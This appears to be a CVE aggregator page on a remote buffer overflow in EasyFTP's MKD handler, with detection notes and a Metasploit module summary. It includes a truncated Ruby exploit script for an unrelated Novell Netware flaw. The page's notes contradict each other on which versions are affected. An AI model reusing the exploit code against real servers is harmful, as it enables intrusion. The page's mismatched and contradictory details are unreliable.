CVE-2011-10005
published 2024-01-16CVE-2011-10005: A vulnerability, which was classified as critical, was found in EasyFTP 1.7.0.2. Affected is an unknown function of the component MKD Command Handler. The…
PriorityP268high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
3.51%
87.7th percentile
A vulnerability, which was classified as critical, was found in EasyFTP 1.7.0.2. Affected is an unknown function of the component MKD Command Handler. The manipulation leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250716.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| easyftp_server_project | easyftp_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Monitor FTP traffic for oversized MKD command arguments exceeding 264 bytes, indicative of buffer overflow exploitation attempts against EasyFTP Server. ↗
- →EasyFTP allows anonymous access by default; alert on anonymous FTP sessions that issue MKD commands, as exploitation requires directory-creation privileges. ↗
- ·Versions after 1.7.0.11 are vulnerable; the package was renamed 'UplusFtp' after version 1.7.0.12, so detection rules should account for both product names. ↗
- ·Exploitation requires an account with directory-creation permissions; anonymous access alone is insufficient to trigger the vulnerable MKD code path. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Novell Netware - RPC XNFS xdrDecodeString
exploitdb·2011-02-24
CVE-2010-4227 Novell Netware - RPC XNFS xdrDecodeString
Novell Netware - RPC XNFS xdrDecodeString
---
#!/usr/bin/ruby
# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24
require 'socket'
netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)
beepbeep=
"\x1c\xd1\xef\xab" + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"
if (!(netware_server && target_port))
puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
exit
else
puts "[+]Sendin
Metasploit
EasyFTP Server MKD Command Stack Buffer Overflow
metasploit
EasyFTP Server MKD Command Stack Buffer Overflow
EasyFTP Server MKD Command Stack Buffer Overflow
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which leads to a stack based buffer overflow. NOTE: EasyFTP allows anonymous access by default. However, in order to access the 'MKD' command, you must have access to an account that can create directories. After version 1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'. This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information.
No writeups or analysis indexed.
2024-01-16
Published